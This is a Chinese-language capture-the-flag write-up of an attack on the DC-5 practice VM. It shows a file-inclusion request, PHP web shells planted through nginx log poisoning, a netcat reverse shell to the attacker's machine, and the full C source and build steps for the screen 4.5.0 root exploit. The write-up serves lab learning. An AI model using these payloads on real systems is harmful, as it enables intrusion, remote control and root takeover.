DC-5靶机学习

1.kali探测存活主机

root@kali:~# nmap -T4 -A 192.168.43.1/24


目标IP地址为192.168.43.182,访问之


拿着nikto,dirsearch一顿乱扫,啥也没发现

2.日常没思路,气氛逐渐焦灼

burpsuite爬了一下站点,分析了一下

发现就一个动态带参数的,emmmm
继续拿起burpsuite就是一顿乱扫

nginx的洞都奇奇怪怪的,看了下,一个是拒绝服务,一个是http走私.....

3.突破点

还是没啥思路,重新发包的时候,似乎瞄到burpsuite中底部日期变了一下,233
compare看一下

确实重发一次,变一次...迷惑
搜了一波,发现是文件包含.....
我就纳闷了,这尼玛还能猜出来
https://blog.csdn.net/weixin_45116657/article/details/102677446

GET /thankyou.php?file=/etc/passwd HTTP/1.1
Host: 192.168.43.182
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

4.nginx日志文件包含

既然存在文件包含漏洞
试着读了下日志文件,nginx默认日志文件为/var/log/nginx/access.log

应该是存在的,随便输个phpinfo,会记录到日志中,一旦有文件包含漏洞,且包含文件为日志【当然你最好祈祷日志是默认路径】时,就会把日志当作php解析

GET /<?php phpinfo();?> HTTP/1.1
Host: 192.168.43.182
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

404,然后包含一下看看
包含成功,burpsuite会显示消息太长,到浏览器打开

写一段恶意代码进去

<?php if(isset($_REQUEST['cmd'])){echo "<pre>";$cmd = ($_REQUEST['cmd']);system($cmd);echo "</pre>";die;}?>

emmmm,有点离谱的是。。。显示phpinfo之后,再包含一句话,就不显示了,为啥?
渗透失败

5.恢复快照N次后

wdnmd....终于连接上来了

<?php eval($_POST[cmd]);?>


报错产生日志,然后包含日志

蚁剑终端好像没法回显,于是反弹一下shell
服务端

 nc 192.168.43.164 8008 -c /bin/bash

客户端

nc -lvvp 8008

6.提权

find / -perm -u=s -type f 2>/dev/null


这里看到一个/bin/screen-4.5.0
搜了下是2017年爆出的一个提权漏洞
http://www.expku.com/local/6245.html
kali里面也搜了下

root@kali:~# searchsploit screen 4.5.0


看内容,应该要编译才能用

1.libhax.c

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!
");
}

保存为libhax.c
然后编译

root@kali:~# gcc -fPIC -shared -ldl -o libhax.so libhax.c 

2.rootshell.c

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

保存为rootshell.c

root@kali:~# gcc -o rootshell rootshell.c 

然后删除41154.sh中间那几段C代码

打包上传到目标机器
然而........WDNMD
禁止通过wget下载....这就离谱

7.ftp上传提权脚本

这句话是得到一个标准的shell

python -c "import pty;pty.spawn('/bin/bash')"


攻击机器配置vsftp

apt install vsftpd

其他配置看图

客户端登陆攻击机(vsftp服务端),下载提权脚本....这里略过,emmmmmmmm
这里有个问题是会报错

问题出在那个家目录的位置,因为我是直接root目录下创建所以没找到,导致报错

然后通过get命令下载到服务器就好了....

这里我发现一个问题,当进入标准shell的时候是可以使用wget命令的
所以kali起一个http服务

root@kali:~# python -m SimpleHTTPServer 8000


直接wget下载到服务器上

如下图

执行的时候报错了...

发现最后一行少写了个/,还有前面编译那个libhax.c文件,这里也写错了,emmmm. 后缀要改成.so才对
添上去,重新执行代码

提权成功!!!

8.Getflag

或许这是我比较菜的原因吧,害。。。

9.小结

1.前面日志包含shell,不知道什么奇怪的问题,第一次写入shell后,第二次就无法写了,导致一直重置服务器。。。。

2.反弹shell的时候,不知道切换成标准shell,导致走了一个大圈。。。。

3.编译提权代码的时候,没仔细阅读代码,也不够仔细,导致后面出了一系列问题,害...

原文地址:https://www.cnblogs.com/mke2fs/p/13054853.html